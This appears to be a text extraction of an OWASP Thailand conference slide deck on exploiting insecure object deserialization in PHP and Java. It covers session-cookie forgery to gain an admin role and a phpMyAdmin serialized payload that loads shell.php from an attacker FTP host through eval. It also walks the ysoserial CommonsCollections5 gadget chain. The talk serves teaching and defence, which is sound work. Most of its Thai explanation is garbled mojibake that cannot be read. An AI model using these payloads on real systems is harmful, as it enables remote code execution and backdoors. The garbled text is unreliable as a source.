際際滷

際際滷Share a Scribd company logo
Web Hacking with
Object Deserialization
Made for
Responsible: Pichaya Morimoto
Version (Date): 1.0 (2020-05-28)
Confidentiality class: Public
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
1
OWASP Thailand Chapter
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
$ whoami
2
Mr. Pichaya (LongCat) Morimoto
Founder | Lead Penetration Tester
Siam Thanat Hack Company Limited
2
Past Events:
 OWASP Thailand Meeting 2/2017
 OWASP Thailand Meeting 7/2016
 OWASP Thailand Meeting 5/2015
 OWASP Thailand Meeting 3/2014
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
3
- ...
- Ragnarok Mobile in Security, Red Pill 2019
- Mysterious Crypto in Android Biometrics,
2600 Thailand Meetup 2019/10
- Docker Security Plugin in DevSecOps,
OWASP Day 2020: DevSecOps in Actions
俗_()_/俗
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
4
LongCat @
Code Mania 10
Bangkok Uni.
(2015)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Agenda
Empower your
Application Security Knowledge.
Key Concepts for:
- Data Serialization
- OWASP Top 10 - A8
- Security Problems
- Java Object Deserialization Exploitation
- PHP Object Deserialization Exploitation
- .NET Object Deserialization Exploitation
- Key Takeaways
5
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
6
Serialization 犢犖ム鍵 Deserialization 犖犖劇賢?
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
7
犖犖迦牽犢犖犢犖犖犖犖÷弦犖ム犖犢犖犖ワ 犖犖犖劇賢犢犖犖犖迦犖犖犖÷弦犖
 $number = 1337;
 $text = 'sth';
1337
sth
1337
sth
1337
sth
犖犖
犖犖
犢犖犢犖
犢犖犢犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
8
 $fruits = array('apple',
'banana',
'orange');
 class FooController {
public $foo='bar';
function doX() { ... }
}
$a = new FooController;
?
犖犖迦牽犢犖犢犖犖犖犖÷弦犖ム犖犢犖犖ワ 犖犖犖劇賢犢犖犖犖迦犖犖犖÷弦犖
object 犖犖朽犖÷元犖犖 property 犖犖巌犖÷顕犖犖о権 犖犖
犖犖犖犖迦 API 犢犖ム鍵犖犖園犢犖犢犖犖∇険犖犢犖 ??
犖犖犖∇険犖犢犖犖犖?
犢犖犢犖犖∇険犖犢犖犖犖?
犖犖犖∇険犖犢犖犖犖?
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
9
犖犖迦牽犖犢犖 Serialization
https://en.wikipedia.org/wiki/Serialization
犖犖犖伍犖犖迦権 犢 犖犖劇賢犢犖犖犖犖巌犖犖迦牽犢犖犖ム犖犖 data
structure 犖犖犖劇賢犖犖園硯犢犖犖犖犖迦 犢 (string, int,
array, linked list, hash map, ) 犢犖ム鍵
object 犖犖朽犖犖o犖迦犖÷顕犖犖迦 class 犢犖犖犖∇弦犢犖犖犖項
犢犖犖犖犖朽犖犖迦検犖迦牽犖 犖犖園犢犖犢犖 犢犖ム鍵 犖犖犖犖迦
network protocol 犖犖迦 犢 犢犖犖 HTTP 犢犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
10
 $fruits = array('apple',
'banana',
'orange');
 class FooController {
public $foo='bar';
function doX() { ... }
}
$a = new FooController;
犖犖迦牽犢犖犢犖犖犖犖÷弦犖ム犖犢犖犖ワ 犖犖犖劇賢犢犖犖犖迦犖犖犖÷弦犖
Serialization
Deserialization
a:3:{i:0;s:5:"ap
ple";i:1;s:6:"ba
nana";i:2;s:6:"
orange";}
O:13:"FooCon
troller":1:{s:3:"
foo";s:3:"bar";}
$a
$fruits
* 犢犖¥犖犖о検 method
Byte Streams
Byte Streams
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
11
Class  Object
- Properties
- Methods
Object
Serialized Data
- Database
- File
- Network Packet
Object
犖犖迦牽犢犖 Object Serialization 犢犖犖犖萎犖
O:13:"FooCont
roller":1:{s:3:"f
oo";s:3:"bar";}
Serialization Deserialization
class FooController {
public $foo; }
$obj = new FooController;
$obj->foo = 'bar';
$obj = unserialize($serData);
echo $obj->foo;
// bar
serialize($obj) unserialize($obj)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
12
Serialization:
serialize()
Deserialization:
unserialize()
PHP Serialization
https://www.php.net/manual/en/function.serialize.php
https://www.php.net/manual/en/function.unserialize.php
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
13
Java Serialization
Serialize
Deserialize
https://docs.oracle.com/javase/7/docs/api/java/io/
ObjectInputStream.html#readObject()
https://github.com/NickstaDB/SerializationDumper
Magic Byte (File Header):
ACED (hex)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
14
Serialization 犖犖園 Data Format 犢犖犖犖犖迦 犢
PHP Serialization (Native)
Java Serialization (Native)
.NET Serializations
Python Pickle
Ruby Marshal
...
XStream
Protobuf
Apache Thrift
YAML
JSON
XML, XMLDecoder, XStream
...
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
15
OWASP Top Ten: Web App Security Risks
A8 - Insecure Deserialization
https://owasp.org/www-pdf-archive/OWASP_Top_10-201
7_%28en%29.pdf.pdf
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
16
OWASP Top Ten: Web App Security Risks
A8 - Insecure Deserialization
Web Features:
- Export Functions
- User Session
- Remember Me
- Templates
Serialized Data
- Network Packet
- Database
- File
1. Serialization
2. Deserialization
POST / HTTP/1.1
Host: victim.sth.sh
import_data= [...
Serialized Data ...]
deserialize(
Serialized Data)
Web API
Web API
犖犖迦犖刻犢犖犖犖迦犖犖萎犖犖犖迦検犖迦牽犖犖犖о犖犖伍検
犖犖 Serialized Data 犢犖?
App Code:
obj = deserialize(USER_INPUT)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
17
犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権
1. 犖犖迦犖犖犢犖犖犖o犖犖迦検犖迦牽犖犖犖伍検犖犖 serialized data 犢犖
犢犖犖犢犖犖犖o犖犖迦犢犖犖ム元犢犖∇犖犖 object 犖犖園犖犢犖犖劇犖犖犢犖迦犖犖犖巌犖犖犖朽犢犖¥犖犖о牽犖犢犖迦犖
犢犖犖
- object 犖犖犖 class User 犖犖朽犖÷元犖犖 username
犢犖犖 longcat 犖犖迦犢犖犖犢犖犖ム元犢犖∇犢犖犖 admin
- 犖犖迦犖犖巌犢犖 object 100 犖犖迦犖犖項犢犖犖ム元犢犖∇犢犖犖 1337
犖犖ム犖劇賢 犢犖犖巌犖犖犖犢犖犖э犖犖萎犖犖犢犢犖犢犖犖÷厳犖犖犖犖迦牽犖犖園犖犖
HTTP parameter 犢犖犖迦検犖迦犖ワ犖о犖犖萎検犖о献犖犖ム犖¥犖犖ム賢犖犖犖園権
(SQL 犖犖犖劇賢 Command Injection, Broken AuthZ)
2. 犢犖犖犖迦犖犖犖犖 犖犖迦犖犖項犢犖 serialized data 犖犖朽犢犖÷厳犢犖
deserialize 犢犖ワ犖 犢犖犖巌犖犖迦牽犢犖犖朽権犖 犖犖犖犖犖園
犖犖朽犢犖¥犖犖о牽犖犖項犢犖犖朽権犖犢犖 犢犖犖 犖犖迦牽犖犖園犢犖犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
18
犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権
1. 犖犖迦犖犖犢犖犖犖o犖犖迦検犖迦牽犖犖犖伍検犖犖 serialized data 犢犖
犢犖犖犢犖犖犖o犖犖迦犢犖犖ム元犢犖∇犖犖 object 犖犖園犖犢犖犖劇犖犖犢犖迦犖犖犖巌犖犖犖朽犢犖¥犖犖о牽犖犢犖迦犖
O:4:"User":3:{s:4:"nam
e";s:7:"pichaya";s:4:"ro
le";s:4:"user";s:3:"age";
i:28;}
O:4:"User":3:{s:4:"nam
e";s:3:"sth";s:4:"role";s:
5:"admin";s:3:"age";i:9
99;}
Tzo0OiJVc2VyIjozOntz
OjQ6Im5hbWUiO3M6N
zoicGljaGF5YSI7czo0
OiJyb2xlIjtzOjQ6InVzZ
XIiO3M6MzoiYWdlIjtpO
jI4O30=
Tzo0OiJVc2VyIjozOntz
OjQ6Im5hbWUiO3M6
Mzoic3RoIjtzOjQ6InJvb
GUiO3M6NToiYWRta
W4iO3M6MzoiYWdlIjtp
Ojk5OTt9
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
19
犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権
1. 犖犖迦犖犖犢犖犖犖o犖犖迦検犖迦牽犖犖犖伍検犖犖 serialized data 犢犖
犢犖犖犢犖犖犖o犖犖迦犢犖犖ム元犢犖∇犖犖 object 犖犖園犖犢犖犖劇犖犖犢犖迦犖犖犖巌犖犖犖朽犢犖¥犖犖о牽犖犢犖迦犖
HP = 1234
MP = 0
Gold = 129340
binary serialization is
not easily modifiable
for the common user
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
20
犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1)
Session Data as
PHP Serialized Object
犖犖迦検犖 field 犢犖 session data 犢犖犖 user role 犖犖犖劇賢 id
犢犖犖迦肩犖迦検犖迦牽犖犢犖 user 犖犖犖犖÷犖迦犖犖 admin 犢犖犢犖犖?
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
21
犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1)
Session Data as
PHP Serialized Object
Singing Signature = MD5(session + secret key) 犖÷険犖犖犖劇賢 MAC (Message
Authentication Code)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
22
犖犖迦牽犖犢犖 Signing Signature 犖犖犖犖犖園犖犖迦牽犢犖犢犖犖犖
Web Server
Web Browser
(User) Set-Cookie: session=
O:4:"User":3:{s:4:"name";s:7:"pichay
a";s:4:"role";s:4:"user";s:3:"age";i:28;}
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}
1. Server 犖犖犖犖 Serialized Data 犢犖犖犖犢犖犢犖о犖犖犖ム険犖犖ム犖犖犖犖巌
user=pichaya&password=P@ssw0rd
2. 犢犖犖犢犖犖犖o犖犖謹犢犖犢犖犖犖 Serialized Data 犖犖園硯犢犖犖犢犖犢犖犖犖犖犖犖劇犖犢犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
23
犖犖迦牽犖犢犖 Signing Signature 犖犖犖犖犖園犖犖迦牽犢犖犢犖犖犖
Web Server
Web Browser
(User) Set-Cookie: session=
O:4:"User":3:{s:4:"name";s:7:"pichaya";s:4:
"role";s:4:"user";s:3:"age";i:28;}:deadbeef
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}:deadbeef
1. Server 犖犖犖犖 Serialized Data 犢犖犖犖犢犖犢犖о犖犖犖ム険犖犖ム犖犖犖犖巌
犖犖o犖犖÷犖 signing signature 犖犖朽犖犖o犖迦犖犖迦 md5(msg + key)
user=pichaya&password=P@ssw0rd
secret_key=longcat
signature=md5(O4:...i
:28;}+secret_key)
犖犖÷検犖伍犖巌犖 deadbeef
2. 犢犖犖犢犖犖犖o犖犖萎犖犢犖犖犖 Serialized Data 犖犖園硯犢犖犖犢犖犢犖犖э犖
犖犖萎犖¥犖犖迦検犖迦牽犖犢犖犢犖犖犖 signing signature 犢犖犖犖犖迦犖朽犖犖項犢犖
犢犖犖犖迦鍵犖犖迦犖朽犖犖o犖迦犖犖迦 secret key 犖犖朽犖÷元犢犖 server 犖犖朽犖犖刻
Rejected
* 犖犖園硯犖犖犖迦犢犖犖犢犖犖迦犖犖犖迦権 犢犖犖 犢 犖犖犖犖犖犖巌犖犖о牽
犢犖 HMAC 犖犖園 secret key 犖犖朽犖犖ム賢犖犖犖園権
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
24
犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1)
system/libraries/Session.php1
2
3
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
25
犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1)
5
system/libraries/Session.php
4
6 encryption_key
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
26
犖犖園硯犖犖犖迦犖犖迦牽犢犖犖犖迦 Deserialization 犖犖犢犖о犖 (1)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
27
犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖?
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
28
犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (1)
 犢犖犖犢犖犖朽権犖о犖園犢犖犖犖ム顕犖∇犖朽犢犖ワ犖о犖¥犢犖犖ム元犢犖∇ secret key
 Offline Cracking 犖犖犖犢犖犖犖 secret key 犢犖¥犖犖ム賢犖犖犖園権
 犖犖刻犢犖¥犖犖犖萎肩犖犖犖犖朽肩犖迦検犖迦牽犖犢犖犖迦犖謹犢犖犖犢犖
 犖犖犖犢犖犖э犖犖劇犖 犢 犖犖朽犖犖迦検犖迦牽犖 bypass 犖犖迦牽犖犖犖о犖犖犖
犖犖犖劇賢犖犢犖迦犖 secret key 犖犖ム幻犖犖犖犖犖÷顕犢犖
犢犖犖劇犖犖犖朽犢犖犖犢犖犖犖o犖犖萎犖犖犖o犖迦 signing signature 犢犖犖犢犖
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}:deadbeef
Rejected
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
29
犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (2)
Insecure Error
Handling
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
30
犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (3)
https://<web>/.env
犢犖犖ワ .env 犖犖ム幻犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
31
犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (4)
犖犖犖犢犖犖э犖犖劇犖 犢 犖犖犖
Web Framework
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
32
犖犢犖 Signing Signature 犢犖ワ犖о犖ム賢犖犖犖園権犢犖ワ犖? (6)
Web Server
Web Browser
(User)
Cookie: session=
O:4:"User":3:{s:4:"name";s:3:"
sth";s:4:"role";s:5:"admin";s:3:
"age";i:999;}:abcdef1234
犖犖迦犖犖犢犖犖犖o犢犖 secret key 犖犢犖犖o犖迦
signing signature 犢犖犖犢犖犖犖園犖犖 !
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
33
犖犖犖犖迦犖犖犖犖迦牽犖犢犖 Deserialization 犖犖朽犖犖迦犢犖¥犖犖ム賢犖犖犖園権(犖犖)
2. 犢犖犖犖迦犖犖犖犖 犖犖迦犖犖項犢犖 serialized data 犖犖朽犢犖÷厳犢犖
deserialize 犢犖ワ犖 犢犖犖巌犖犖迦牽犢犖犖朽権犖 犖犖犖犖犖園
犖犖朽犢犖¥犖犖о牽犖犖項犢犖犖朽権犖犢犖 犢犖犖 犖犖迦牽犖犖園犢犖犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
34
PHP Serialization (Native)
serialize() 犖犖迦牽犖犢犖 serialization 犖犖迦犖犢犖犢犖
unserialize() 犖犖o犖迦犖犖迦犖園硯犢犖犖犖犖犖劇賢 object 犖犖ム険犖犖犖迦犖犖 serialized data
i:666;666
s:6:"foobar";foobar
i:666;666
s:6:"foobar";foobar
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
35
PHP Serialization (Native) - Data Types
String
- s:<size>:<value>;
- s:3:"STH";
Integer
- i:<value>;
- i:1337;
Double
- d:<value>;
- d:12.345;
Null
- N;
Boolean
- b:<value>;
- b:1; // True
- b:0; // False
Array
- a:<size>:{<key>;<value>;}
- a:2:{s:4:"name";s:4:"John"; s:3:"age";i:15;}
// array("name"=>"John", "age"=>15);
Object
O:13:"FooController":1:{s:3:
"foo";s:3:"bar";}
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
36
PHP Serialization (Native) - PHP Magic Methods
__construct()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()
- 犖犖劇犖犖犖犖犖犖園犖犖謹犖犖犖犖犖о権 "__"
- 犢犖犖犖犖犖犖犖園犖犖朽犖犖萎犖項犢犖犖朽権犖犖犖園犢犖犖÷険犖犖巌犖犖犖ム険犖犖犖迦犖犖迦牽犖犢犖 deserialization (犖犖劇賢 unserailize() 犢犖 PHP)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
37
PHP Serialization (Native) - PHP Magic Methods
__destruct()
- 犖犖項犢犖犖朽権犖犢犖÷厳犢犖 object 犖犢犖迦献犖園犖犖萎見犖迦権犖犖ム険犖犖犖犖犖迦牽犖犢犖迦犖迦
__wakeup()
- 犖犖項犢犖犖朽権犖犖犖ム険犖犖犖迦犢犖犖犢犖∇犢犖犖 unserialize()
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
38
犖犖犖伍犖犖迦牽犢犖犖犖犖犖犖犖園 unserialize() 犢犖 PHP
Serialized Data Magic Methodsunserialize()
犖÷元犖犖迦牽犖犖園犖犖 serialized data 犢犖犖迦検犖迦犖迦 user input ($_GET, $_POST, $_COOKIE, )
犢犖ム鍵犖犖項犖犢犖迦犖犢犖∇犢犖犖犖犖犖犖園 unserialized() 犢犖犖犢犖犖犖o犖犖迦犖犖萎犖 犢犖ム厳犖犖 object 犖犖犖 class
犖犖朽犖犖ム険犖犖犖迦犢犖犖 deserialize 犢犖犢犖犖朽権犖 Magic Method 犖犖朽犖犢犖迦賢犖萎犖犖犖迦犖犖犖迦 犖犖犖迦犖犖園犢犖犖÷険犖犖
RCE
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犖 Class 犖犖朽犖÷元 PHP Magic Method 犖犖朽犖犖迦犖犢犖迦犖犢犖犖迦犢犖迦賢犖萎犖 犖犖項献 犢 犢犖
39
__destruct()
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犢犖犖朽権犖 Exploit 犢犖犖∇肩犖o犖迦 Serialized Object 犖犖朽犖犖犖犖犖迦牽犢犖犖朽権犖 __destruct
40
犖犖o犖迦 Class
犖犖o犖犖 property
serialize 犢犖ワ犖о肩犖o犖迦 signing
signature 犖犖迦 secret key
URL Encoding Signing Signature
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Pwned !
41
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Pwned !
42
Magic Methodsunserialize
($ci_session)
RCE
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
AppServ 犢犖о賢犖o犖犖園犢犖犖犢犖迦犖迦 2.5.10
43
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
44
File: /scripts/setup.php Line: 61
犖犖犖犢犖犖э PMA 2.10.3
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
45
__wakeup 鐚鋋財 垂 篋削室
File: /libraries/Config.class.php Line: 303 File: /libraries/Config.class.php Line: 373,376
eval(
file_get_contents($source)
)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
46
O:10:"PMA_Config":1:{s:6:"source";s:25:"ftp://1.3.3.7/payload.txt";}
犖о鹸犖犖朽犖犖朽権犖 Exploit 犖犖迦犖
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
47
犢犖犖犖朽権犖 Backdoor 犢犖 FTP Server
O:10:"PMA_Config":1:{s:6:"source";s:32:"ftp://10.13.37.10:2121/shell.php";}
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
Pwn !!
48
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (PHP)
49
demo1_pma.flv
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
50
Java Serialization (Native)
Serialize
Deserialize
https://docs.oracle.com/javase/7/docs/api/java/io/
ObjectInputStream.html#readObject()
https://github.com/NickstaDB/SerializationDumper
Magic Byte (File Header):
ACED (hex)
rO0ABXNyAARVc2VynpG/yC7LDZ
gCAANJAAJpZEkADXBydmlsZWdl
TGV2ZWxMAARuYW1ldAASTGph
dmEvbGFuZy9TdHJpbmc7eHAAA
AABAAAAAHQAB3BpY2hheWE=
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
51
Java Serialization (Native)
Web Server
Web Browser
(User)
犖犖 Java Serialized Object
犖犖朽犢犖犖犢犖犖犖o犢犖犢犖犖÷顕
1. 犢犖犖犖巌犖犖巌 犢犖犖犢犖迦犖о犢犖犖巌 犢犖 犖犖ム遣
2. 犖犢犖迦犖迦牽犖犖ム険犖 object 犖犖園犖犖犖迦権
犖犖朽犢犖犖朽権犖 magic method 犖犖迦 犢
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (Java)
52
demo2_sdh.flv
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (Java)
53
File:
/sdh-bank-campaign/server/app/src/main/java/sh/
sth/SDHBank/controller/CampaignController.java
ois = <User Input>
ois.readObject();
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
54
2. 犢犖犖犖迦犖犖犖犖 犖犖迦犖犖項犢犖 serialized data 犖犖朽犢犖÷厳犢犖
deserialize 犢犖ワ犖 犢犖犖巌犖犖迦牽犢犖犖朽権犖 犖犖犖犖犖園
犖犖朽犢犖¥犖犖о牽犖犖項犢犖犖朽権犖犢犖 犢犖犖 犖犖迦牽犖犖園犢犖犖
犖犖園硯犖犖犖迦 犖犖迦牽犢犖犖犢犖о犖犖犖朽犖÷元犖犖犖犢犖犖э Insecure Deserialization (Java)
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
55
YSoSerial
https://github.com/frohoff/ysoserial
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
56
Java Deser. Gadget:
CommonsCollections5
https://commons.apache.org/prope
r/commons-collections/security-rep
orts.html
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
57
Java Deser. Gadget:
CommonsCollections5
Serialized
Data
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
58
Java Deser. Gadget:
CommonsCollections5
https://github.com/frohoff/ysoserial/b
lob/master/src/main/java/ysoserial/p
ayloads/CommonsCollections5.java
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
59
Java Deser. Gadget:
CommonsCollections5
BadAttributeValueExpException.readObject()
犢犖犖迦犖迦犖朽犢犖犢犖犖÷顕
toString()
犖犖項 deserialize 犖犖
犢犖犖朽権犖 readObject()
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
60
Java Deser. Gadget:
CommonsCollections5
TiedMapEntry.toString()
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
61
Java Deser. Gadget:
CommonsCollections5
LazyMap.get()
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
62
Java Deser. Gadget:
CommonsCollections5
ChainedTransformer.transform()
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
63
InvokerTransformer.transform()
Java Deser. Gadget:
CommonsCollections5
犖犖犖.犖犖∇顕犖÷犖犖園犢犖犖
